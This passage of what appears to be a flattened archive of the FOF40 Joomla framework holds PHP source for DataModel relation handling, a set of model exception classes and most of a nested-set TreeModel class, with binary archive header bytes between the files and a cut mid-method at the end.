DataModel to push the eager loaded data into each item's relation. * * @param Collection $data The relation data to push into this relation * @param mixed $keyMap Used by many-to-many relations to pass around the local to foreign key map * * @return void */ public function setDataFromCollection(Collection &$data, $keyMap = null) { $this->data = new Collection(); if (!empty($data)) { $localKeyValue = $this->parentModel->getFieldValue($this->localKey); /** @var DataModel $item */ foreach ($data as $item) { if ($item->getFieldValue($this->foreignKey) == $localKeyValue) { $this->data->add($item); } } } } /** * Returns the count subquery for DataModel's has() and whereHas() methods. * * @return \JDatabaseQuery */ abstract public function getCountSubquery(); /** * Returns a new item of the foreignModel type, pre-initialised to fulfil this relation * * @return DataModel * * @throws DataModel\Relation\Exception\NewNotSupported when it's not supported */ abstract public function getNew(); /** * Saves all related items. You can use it to touch items as well: every item being saved causes the modified_by and * modified_on fields to be changed automatically, thanks to the DataModel's magic. */ public function saveAll() { if ($this->data instanceof Collection) { foreach ($this->data as $item) { if ($item instanceof DataModel) { $item->save(); } } } } /** * Returns the foreign key map of a many-to-many relation, used for eager loading many-to-many relations * * @return array */ public function &getForeignKeyMap() { return $this->foreignKeyMap; } /** * Gets an object instance of the foreign model * * @param array $config Optional configuration information for the Model * * @return DataModel */ public function &getForeignModel(array $config = []) { // If the model comes from this component go through our Factory if (is_null($this->foreignModelComponent)) { /** @var DataModel $model */ $model = $this->container->factory->model($this->foreignModelName, $config)->tmpInstance(); return $model; } // The model comes from another component. Create a container and go through its factory. $foreignContainer = Container::getInstance($this->foreignModelComponent, ['tempInstance' => true]); /** @var DataModel $model */ $model = $foreignContainer->factory->model($this->foreignModelName, $config)->tmpInstance(); return $model; } /** * Returns the name of the local key of the relation * * @return string */ public function getLocalKey() { return $this->localKey; } /** * Applies the relation filters to the foreign model when getData is called * * @param DataModel $foreignModel The foreign model you're operating on * @param Collection $dataCollection If it's an eager loaded relation, the collection of loaded parent records * * @return boolean Return false to force an empty data collection */ abstract protected function filterForeignModel(DataModel $foreignModel, Collection $dataCollection = null); } PK���\(Β��5fof40/Model/DataModel/Exception/TreeInvalidLftRgt.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; abstract class TreeInvalidLftRgt extends \RuntimeException { public function __construct( $message = '', $code = 500, Exception $previous = null ) { parent::__construct( $message, $code, $previous ); } } PK���\�E%m881fof40/Model/DataModel/Exception/NoContentType.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class NoContentType extends \UnexpectedValueException { public function __construct( $className, $code = 500, Exception $previous = null ) { $message = Text::sprintf('LIB_FOF40_MODEL_ERR_NOCONTENTTYPE', $className); parent::__construct( $message, $code, $previous ); } } PK���\g�T�''7fof40/Model/DataModel/Exception/InvalidSearchMethod.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Exception; defined('_JEXEC') || die; class InvalidSearchMethod extends BaseException { } PK���\�ڦ�II9fof40/Model/DataModel/Exception/TreeIncompatibleTable.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class TreeIncompatibleTable extends \UnexpectedValueException { public function __construct( $tableName, $code = 500, Exception $previous = null ) { $message = Text::sprintf('LIB_FOF40_MODEL_ERR_TREE_INCOMPATIBLETABLE', $tableName); parent::__construct( $message, $code, $previous ); } } PK���\�ֽ�???fof40/Model/DataModel/Exception/TreeMethodOnlyAllowedInRoot.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class TreeMethodOnlyAllowedInRoot extends \RuntimeException { public function __construct( $method = '', $code = 500, Exception $previous = null ) { $message = Text::sprintf('LIB_FOF40_MODEL_ERR_TREE_ONLYINROOT', $method); parent::__construct( $message, $code, $previous ); } } PK���\<�|�""2fof40/Model/DataModel/Exception/NoTableColumns.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Exception; defined('_JEXEC') || die; class NoTableColumns extends BaseException { } PK���\3X�[**0fof40/Model/DataModel/Exception/NoItemsFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class NoItemsFound extends BaseException { public function __construct( $className, $code = 404, Exception $previous = null ) { $message = Text::sprintf('LIB_FOF40_MODEL_ERR_NOITEMSFOUND', $className); parent::__construct( $message, $code, $previous ); } } PK���\R���YY<fof40/Model/DataModel/Exception/TreeInvalidLftRgtCurrent.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class TreeInvalidLftRgtCurrent extends TreeInvalidLftRgt { public function __construct( $message = '', $code = 500, Exception $previous = null ) { if (empty($message)) { $message = Text::_('LIB_FOF40_MODEL_ERR_TREE_INVALIDLFTRGT_CURRENT'); } parent::__construct( $message, $code, $previous ); } } PK���\��-�>>4fof40/Model/DataModel/Exception/TreeRootNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class TreeRootNotFound extends \RuntimeException { public function __construct($tableName, $lft, $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF40_MODEL_ERR_TREE_ROOTNOTFOUND', $tableName, $lft); parent::__construct($message, $code, $previous); } } PK���\��v�XX<fof40/Model/DataModel/Exception/TreeUnexpectedPrimaryKey.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class TreeUnexpectedPrimaryKey extends \UnexpectedValueException { public function __construct( $message = '', $code = 500, Exception $previous = null ) { if (empty($message)) { $message = Text::_('LIB_FOF40_MODEL_ERR_TREE_UNEXPECTEDPK'); } parent::__construct( $message, $code, $previous ); } } PK���\._�>>3fof40/Model/DataModel/Exception/RecordNotLoaded.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class RecordNotLoaded extends BaseException { public function __construct( $message = "", $code = 404, Exception $previous = null ) { if (empty($message)) { $message = Text::_('LIB_FOF40_MODEL_ERR_COULDNOTLOAD'); } parent::__construct( $message, $code, $previous ); } } PK���\47M�YY<fof40/Model/DataModel/Exception/TreeInvalidLftRgtSibling.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class TreeInvalidLftRgtSibling extends TreeInvalidLftRgt { public function __construct( $message = '', $code = 500, Exception $previous = null ) { if (empty($message)) { $message = Text::_('LIB_FOF40_MODEL_ERR_TREE_INVALIDLFTRGT_SIBLING'); } parent::__construct( $message, $code, $previous ); } } PK���\��WW;fof40/Model/DataModel/Exception/TreeInvalidLftRgtParent.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class TreeInvalidLftRgtParent extends TreeInvalidLftRgt { public function __construct( $message = '', $code = 500, Exception $previous = null ) { if (empty($message)) { $message = Text::_('LIB_FOF40_MODEL_ERR_TREE_INVALIDLFTRGT_PARENT'); } parent::__construct( $message, $code, $previous ); } } PK���\x�CC.fof40/Model/DataModel/Exception/NoAssetKey.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class NoAssetKey extends \UnexpectedValueException { public function __construct( $message = '', $code = 500, Exception $previous = null ) { if (empty($message)) { $message = Text::_('LIB_FOF40_MODEL_ERR_NOASSETKEY'); } parent::__construct( $message, $code, $previous ); } } PK���\�_<((8fof40/Model/DataModel/Exception/SpecialColumnMissing.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Exception; defined('_JEXEC') || die; class SpecialColumnMissing extends BaseException { } PK���\W��%%1fof40/Model/DataModel/Exception/BaseException.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Exception; defined('_JEXEC') || die; class BaseException extends \RuntimeException { } PK���\��G�UU=fof40/Model/DataModel/Exception/CannotLockNotLoadedRecord.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class CannotLockNotLoadedRecord extends BaseException { public function __construct( $message = '', $code = 500, Exception $previous = null ) { if (empty($message)) { $message = Text::_('LIB_FOF40_MODEL_ERR_CANNOTLOCKNOTLOADEDRECORD'); } parent::__construct( $message, $code, $previous ); } } PK���\�m >>9fof40/Model/DataModel/Exception/TreeUnsupportedMethod.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class TreeUnsupportedMethod extends \LogicException { public function __construct( $method = '', $code = 500, Exception $previous = null ) { $message = Text::sprintf('LIB_FOF40_MODEL_ERR_TREE_UNSUPPORTEDMETHOD', $method); parent::__construct( $message, $code, $previous ); } } PK���\���pUU:fof40/Model/DataModel/Exception/TreeInvalidLftRgtOther.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class TreeInvalidLftRgtOther extends TreeInvalidLftRgt { public function __construct( $message = '', $code = 500, Exception $previous = null ) { if (empty($message)) { $message = Text::_('LIB_FOF40_MODEL_ERR_TREE_INVALIDLFTRGT_OTHER'); } parent::__construct( $message, $code, $previous ); } } PK���\��h@tt'fof40/Model/Exception/CannotGetName.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; /** * Exception thrown when we can't get a Controller's name */ class CannotGetName extends \RuntimeException { public function __construct( $message = "", $code = 500, Exception $previous = null ) { if (empty($message)) { $message = Text::_('LIB_FOF40_MODEL_ERR_GET_NAME'); } parent::__construct( $message, $code, $previous ); } } PK���\\�Ъ���fof40/Model/TreeModel.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model; defined('_JEXEC') || die; use FOF40\Container\Container; use FOF40\Model\DataModel\Exception\TreeIncompatibleTable; use FOF40\Model\DataModel\Exception\TreeInvalidLftRgtCurrent; use FOF40\Model\DataModel\Exception\TreeInvalidLftRgtOther; use FOF40\Model\DataModel\Exception\TreeInvalidLftRgtParent; use FOF40\Model\DataModel\Exception\TreeInvalidLftRgtSibling; use FOF40\Model\DataModel\Exception\TreeMethodOnlyAllowedInRoot; use FOF40\Model\DataModel\Exception\TreeRootNotFound; use FOF40\Model\DataModel\Exception\TreeUnexpectedPrimaryKey; use FOF40\Model\DataModel\Exception\TreeUnsupportedMethod; use Joomla\CMS\Application\ApplicationHelper; /** * A DataModel which implements nested trees * * @property int $lft Left value (for nested set implementation) * @property int $rgt Right value (for nested set implementation) * @property string $hash Slug hash (for faster searching) */ class TreeModel extends DataModel { /** @var int The level (depth) of this node in the tree */ protected $treeDepth; /** @var TreeModel The root node in the tree */ protected $treeRoot; /** @var TreeModel The parent node of ourselves */ protected $treeParent; /** @var bool Should I perform a nested get (used to query ascendants/descendants) */ protected $treeNestedGet = false; /** * Public constructor. Overrides the parent constructor, making sure there are lft/rgt columns which make it * compatible with nested sets. * * @param Container $container The configuration variables to this model * @param array $config Configuration values for this model * * @throws \RuntimeException When lft/rgt columns are not found * @see \FOF40\Model\DataModel::__construct() * */ public function __construct(Container $container = null, array $config = []) { parent::__construct($container, $config); if (!$this->hasField('lft') || !$this->hasField('rgt')) { throw new TreeIncompatibleTable($this->tableName); } } /** * Overrides the automated table checks to handle the 'hash' column for faster searching * * @return $this|DataModel */ public function check() { // Create a slug if there is a title and an empty slug if ($this->hasField('title') && $this->hasField('slug') && !$this->slug) { $this->slug = ApplicationHelper::stringURLSafe($this->title); } // Create the SHA-1 hash of the slug for faster searching (make sure the hash column is CHAR(64) to take // advantage of MySQL's optimised searching for fixed size CHAR columns) if ($this->hasField('hash') && $this->hasField('slug')) { $this->hash = sha1($this->slug); } // Reset cached values $this->resetTreeCache(); // Run the parent checks parent::check(); return $this; } /** * Delete a node, either the currently loaded one or the one specified in $id. If an $id is specified that node * is loaded before trying to delete it. In the end the data model is reset. If the node has any children nodes * they will be removed before the node itself is deleted. * * @param mixed $id Primary key (id field) value * * @return $this for chaining * @throws \UnexpectedValueException * */ public function forceDelete($id = null) { // Load the specified record (if necessary) if (!empty($id)) { $this->findOrFail($id); } $k = $this->getIdFieldName(); $pk = (!$id) ? $this->$k : $id; // If no primary key is given, return false. if (!$pk) { throw new TreeUnexpectedPrimaryKey; } // Execute the logic only if I have a primary key, otherwise I could have weird results // Perform the checks on the current node *BEFORE* starting to delete the children try { $this->triggerEvent('onBeforeDelete', [&$pk]); } catch (\Exception $e) { return false; } $result = true; // Recursively delete all children nodes as long as we are not a leaf node if (!$this->isLeaf()) { // Get all sub-nodes $table = $this->getClone(); $table->bind($this->getData()); $subNodes = $table->getDescendants(); // Delete all sub-nodes (goes through the model to trigger the observers) if (!empty($subNodes)) { /** @var TreeModel $item */ foreach ($subNodes as $item) { // We have to pass the id, so we are getting it again from the database. // We have to do in this way, since a previous child could have changed our lft and rgt values if (!$item->forceDelete($item->$k)) { // A sub-node failed or prevents the delete, continue deleting other nodes, // but preserve the current node (ie the parent) $result = false; } }; // Load it again, since while deleting a children we could have updated ourselves, too $this->find($pk); } } if ($result) { $db = $this->getDbo(); // Delete the row by primary key. $query = $db->getQuery(true); $query->delete(); $query->from($this->getTableName()); $query->where($db->qn($this->getIdFieldName()) . ' = ' . $db->q($pk)); $db->setQuery($query)->execute(); $this->triggerEvent('onAfterDelete', [&$pk]); } return $this; } /** * Not supported in nested sets * * @param string $where Ignored * * @return static Self, for chaining * * @throws \RuntimeException */ public function reorder($where = '') { throw new TreeUnsupportedMethod(__METHOD__); } /** * Not supported in nested sets * * @param integer $delta Ignored * @param string $where Ignored * * @return static Self, for chaining * * @throws \RuntimeException */ public function move($delta, $where = '') { throw new TreeUnsupportedMethod(__METHOD__); } /** * Create a new record with the provided data. It is inserted as the last child of the current node's parent * * @param array $data The data to use in the new record * * @return static The new node */ public function create($data) { $newNode = $this->getClone(); $newNode->reset(); $newNode->bind($data); if ($this->isRoot()) { return $newNode->insertAsChildOf($this); } else { $parentNode = $this->getParent(); return $newNode->insertAsChildOf($parentNode); } } /** * Makes a copy of the record, inserting it as the last child of the current node's parent. * * @return static * * @codeCoverageIgnore */ public function copy($data = null) { $selfData = $this->toArray(); if (!is_array($data)) { $data = []; } $data = array_merge($data, $selfData); return $this->create($data); } /** * Reset the record data and the tree cache * * @param boolean $useDefaults Should I use the default values? Default: yes * @param boolean $resetRelations Should I reset the relations too? Default: no * * @return static Self, for chaining * * @codeCoverageIgnore */ public function reset($useDefaults = true, $resetRelations = false) { $this->resetTreeCache(); return parent::reset($useDefaults, $resetRelations); } /** * Insert the current node as a tree root. It is a good idea to never use this method, instead providing a root node * in your schema installation and then sticking to only one root. * * @return static * * @throws \RuntimeException */ public function insertAsRoot() { // You can't insert a node that is already saved i.e. the table has an id if ($this->getId()) { throw new TreeMethodOnlyAllowedInRoot(__METHOD__); } // First we need to find the right value of the last parent, a.k.a. the max(rgt) of the table $db = $this->getDbo(); // Get the lft/rgt names $fldRgt = $db->qn($this->getFieldAlias('rgt')); $query = $db->getQuery(true) ->select('MAX(' . $fldRgt . ')') ->from($db->qn($this->tableName)); $maxRgt = $db->setQuery($query, 0, 1)->loadResult(); if (empty($maxRgt)) { $maxRgt = 0; } $this->lft = ++$maxRgt; $this->rgt = ++$maxRgt; return $this->save(); } /** * Insert the current node as the first (leftmost) child of a parent node. * * WARNING: If it's an existing node it will be COPIED, not moved. * * @param TreeModel $parentNode The node which will become our parent * * @return $this for chaining * @throws \Exception * @throws \RuntimeException */ public function insertAsFirstChildOf(TreeModel &$parentNode) { if ($parentNode->lft >= $parentNode->rgt) { throw new TreeInvalidLftRgtParent; } // Get a reference to the database $db = $this->getDbo(); // Get the field names $fldRgt = $db->qn($this->getFieldAlias('rgt')); $fldLft = $db->qn($this->getFieldAlias('lft')); // Nullify the PK, so a new record will be created $this->{$this->idFieldName} = null; // Get the value of the parent node's rgt $myLeft = $parentNode->lft; // Update my lft/rgt values $this->lft = $myLeft + 1; $this->rgt = $myLeft + 2; // Update parent node's right (we added two elements in there, remember?) $parentNode->rgt += 2; // Wrap everything in a transaction $db->transactionStart(); try { // Make a hole (2 queries) $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($fldLft . ' = ' . $fldLft . '+2') ->where($fldLft . ' > ' . $db->q($myLeft)); $db->setQuery($query)->execute(); $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($fldRgt . ' = ' . $fldRgt . '+ 2') ->where($fldRgt . '>' . $db->q($myLeft)); $db->setQuery($query)->execute(); // Insert the new node $this->save(); // Commit the transaction $db->transactionCommit(); } catch (\Exception $e) { // Roll back the transaction on error $db->transactionRollback(); throw $e; } return $this; } /** * Insert the current node as the last (rightmost) child of a parent node. * * WARNING: If it's an existing node it will be COPIED, not moved. * * @param TreeModel $parentNode The node which will become our parent * * @return $this for chaining * @throws \Exception * @throws \RuntimeException */ public function insertAsLastChildOf(TreeModel &$parentNode) { if ($parentNode->lft >= $parentNode->rgt) { throw new TreeInvalidLftRgtParent; } // Get a reference to the database $db = $this->getDbo(); // Get the field names $fldRgt = $db->qn($this->getFieldAlias('rgt')); $fldLft = $db->qn($this->getFieldAlias('lft')); // Nullify the PK, so a new record will be created $this->{$this->idFieldName} = null; // Get the value of the parent node's lft $myRight = $parentNode->rgt; // Update my lft/rgt values $this->lft = $myRight; $this->rgt = $myRight + 1; // Update parent node's right (we added two elements in there, remember?) $parentNode->rgt += 2; // Wrap everything in a transaction $db->transactionStart(); try { // Make a hole (2 queries) $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($fldRgt . ' = ' . $fldRgt . '+2') ->where($fldRgt . '>=' . $db->q($myRight)); $db->setQuery($query)->execute(); $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($fldLft . ' = ' . $fldLft . '+2') ->where($fldLft . '>' . $db->q($myRight)); $db->setQuery($query)->execute(); // Insert the new node $this->save(); // Commit the transaction $db->transactionCommit(); } catch (\Exception $e) { // Roll back the transaction on error $db->transactionRollback(); throw $e; } return $this; } /** * Alias for insertAsLastchildOf * * @codeCoverageIgnore * * @param TreeModel $parentNode * * @return $this for chaining */ public function insertAsChildOf(TreeModel &$parentNode) { return $this->insertAsLastChildOf($parentNode); } /** * Insert the current node to the left of (before) a sibling node * * WARNING: If it's an existing node it will be COPIED, not moved. * * @param TreeModel $siblingNode We will be inserted before this node * * @return $this for chaining * @throws \Exception * @throws \RuntimeException */ public function insertLeftOf(TreeModel &$siblingNode) { if ($siblingNode->lft >= $siblingNode->rgt) { throw new TreeInvalidLftRgtSibling; } // Get a reference to the database $db = $this->getDbo(); // Get the field names $fldRgt = $db->qn($this->getFieldAlias('rgt')); $fldLft = $db->qn($this->getFieldAlias('lft')); // Nullify the PK, so a new record will be created $this->{$this->idFieldName} = null; // Get the value of the parent node's rgt $myLeft = $siblingNode->lft; // Update my lft/rgt values $this->lft = $myLeft; $this->rgt = $myLeft + 1; // Update sibling's lft/rgt values $siblingNode->lft += 2; $siblingNode->rgt += 2; $db->transactionStart(); try { $db->setQuery( $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($fldLft . ' = ' . $fldLft . '+2') ->where($fldLft . ' >= ' . $db->q($myLeft)) )->execute(); $db->setQuery( $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($fldRgt . ' = ' . $fldRgt . '+2') ->where($fldRgt . ' > ' . $db->q($myLeft)) )->execute(); $this->save(); // Commit the transaction $db->transactionCommit(); } catch (\Exception $e) { $db->transactionRollback(); throw $e; } return $this; } /** * Insert the current node to the right of (after) a sibling node * * WARNING: If it's an existing node it will be COPIED, not moved. * * @param TreeModel $siblingNode We will be inserted after this node * * @return $this for chaining * @throws \Exception * @throws \RuntimeException */ public function insertRightOf(TreeModel &$siblingNode) { if ($siblingNode->lft >= $siblingNode->rgt) { throw new TreeInvalidLftRgtSibling; } // Get a reference to the database $db = $this->getDbo(); // Get the field names $fldRgt = $db->qn($this->getFieldAlias('rgt')); $fldLft = $db->qn($this->getFieldAlias('lft')); // Nullify the PK, so a new record will be created $this->{$this->idFieldName} = null; // Get the value of the parent node's lft $myRight = $siblingNode->rgt; // Update my lft/rgt values $this->lft = $myRight + 1; $this->rgt = $myRight + 2; $db->transactionStart(); try { $db->setQuery( $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($fldRgt . ' = ' . $fldRgt . '+2') ->where($fldRgt . ' > ' . $db->q($myRight)) )->execute(); $db->setQuery( $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($fldLft . ' = ' . $fldLft . '+2') ->where($fldLft . ' > ' . $db->q($myRight)) )->execute(); $this->save(); // Commit the transaction $db->transactionCommit(); } catch (\Exception $e) { $db->transactionRollback(); throw $e; } return $this; } /** * Alias for insertRightOf * * @codeCoverageIgnore * * @param TreeModel $siblingNode * * @return $this for chaining */ public function insertAsSiblingOf(TreeModel &$siblingNode) { return $this->insertRightOf($siblingNode); } /** * Move the current node (and its subtree) one position to the left in the tree, i.e. before its left-hand sibling * * @return $this * @throws \RuntimeException * */ public function moveLeft() { // Sanity checks on current node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } // If it is a root node we will not move the node (roots don't participate in tree ordering) if ($this->isRoot()) { return $this; } // Are we already the leftmost node? $parentNode = $this->getParent(); if ($parentNode->lft === $this->lft - 1) { return $this; } // Get the sibling to the left $db = $this->getDbo(); $leftSibling = $this->getClone()->reset() ->whereRaw($db->qn($this->getFieldAlias('rgt')) . ' = ' . $db->q($this->lft - 1)) ->firstOrFail(); // Move the node return $this->moveToLeftOf($leftSibling); } /** * Move the current node (and its subtree) one position to the right in the tree, i.e. after its right-hand sibling * * @return $this * @throws \RuntimeException * */ public function moveRight() { // Sanity checks on current node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } // If it is a root node we will not move the node (roots don't participate in tree ordering) if ($this->isRoot()) { return $this; } // Are we already the rightmost node? $parentNode = $this->getParent(); if ($parentNode->rgt === $this->rgt + 1) { return $this; } // Get the sibling to the right $db = $this->getDbo(); $rightSibling = $this->getClone()->reset() ->whereRaw($db->qn($this->getFieldAlias('lft')) . ' = ' . $db->q($this->rgt + 1)) ->firstOrFail(); // Move the node return $this->moveToRightOf($rightSibling); } /** * Moves the current node (and its subtree) to the left of another node. The other node can be in a different * position in the tree or even under a different root. * * @param TreeModel $siblingNode * * @return $this for chaining * * @throws \Exception * @throws \RuntimeException */ public function moveToLeftOf(TreeModel $siblingNode) { // Sanity checks on current and sibling node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } if ($siblingNode->lft >= $siblingNode->rgt) { throw new TreeInvalidLftRgtSibling; } $db = $this->getDbo(); $left = $db->qn($this->getFieldAlias('lft')); $right = $db->qn($this->getFieldAlias('rgt')); // Get node metrics $myLeft = $this->lft; $myRight = $this->rgt; $myWidth = $myRight - $myLeft + 1; // Get parent metrics $sibLeft = $siblingNode->lft; // Start the transaction $db->transactionStart(); try { // Temporary remove subtree being moved $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set("$left = " . $db->q(0) . " - $left") ->set("$right = " . $db->q(0) . " - $right") ->where($left . ' >= ' . $db->q($myLeft)) ->where($right . ' <= ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Close hole left behind $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $left . ' - ' . $db->q($myWidth)) ->where($left . ' > ' . $db->q($myRight)); $db->setQuery($query)->execute(); $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($right . ' = ' . $right . ' - ' . $db->q($myWidth)) ->where($right . ' > ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Make a hole for the new items $newSibLeft = ($sibLeft > $myRight) ? $sibLeft - $myWidth : $sibLeft; $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($right . ' = ' . $right . ' + ' . $db->q($myWidth)) ->where($right . ' >= ' . $db->q($newSibLeft)); $db->setQuery($query)->execute(); $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $left . ' + ' . $db->q($myWidth)) ->where($left . ' >= ' . $db->q($newSibLeft)); $db->setQuery($query)->execute(); // Move node and sub-nodes $moveRight = $newSibLeft - $myLeft; $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $db->q(0) . ' - ' . $left . ' + ' . $db->q($moveRight)) ->set($right . ' = ' . $db->q(0) . ' - ' . $right . ' + ' . $db->q($moveRight)) ->where($left . ' <= 0 - ' . $db->q($myLeft)) ->where($right . ' >= 0 - ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Commit the transaction $db->transactionCommit(); } catch (\Exception $e) { $db->transactionRollback(); throw $e; } // Let's load the record again to fetch the new values for lft and rgt $this->findOrFail(); return $this; } /** * Moves the current node (and its subtree) to the right of another node. The other node can be in a different * position in the tree or even under a different root. * * @param TreeModel $siblingNode * * @return $this for chaining * * @throws \Exception * @throws \RuntimeException */ public function moveToRightOf(TreeModel $siblingNode) { // Sanity checks on current and sibling node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } if ($siblingNode->lft >= $siblingNode->rgt) { throw new TreeInvalidLftRgtSibling; } $db = $this->getDbo(); $left = $db->qn($this->getFieldAlias('lft')); $right = $db->qn($this->getFieldAlias('rgt')); // Get node metrics $myLeft = $this->lft; $myRight = $this->rgt; $myWidth = $myRight - $myLeft + 1; // Get parent metrics $sibRight = $siblingNode->rgt; // Start the transaction $db->transactionStart(); try { // Temporary remove subtree being moved $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set("$left = " . $db->q(0) . " - $left") ->set("$right = " . $db->q(0) . " - $right") ->where($left . ' >= ' . $db->q($myLeft)) ->where($right . ' <= ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Close hole left behind $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $left . ' - ' . $db->q($myWidth)) ->where($left . ' > ' . $db->q($myRight)); $db->setQuery($query)->execute(); $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($right . ' = ' . $right . ' - ' . $db->q($myWidth)) ->where($right . ' > ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Make a hole for the new items $newSibRight = ($sibRight > $myRight) ? $sibRight - $myWidth : $sibRight; $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($left . ' = ' . $left . ' + ' . $db->q($myWidth)) ->where($left . ' > ' . $db->q($newSibRight)); $db->setQuery($query)->execute(); $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($right . ' = ' . $right . ' + ' . $db->q($myWidth)) ->where($right . ' > ' . $db->q($newSibRight)); 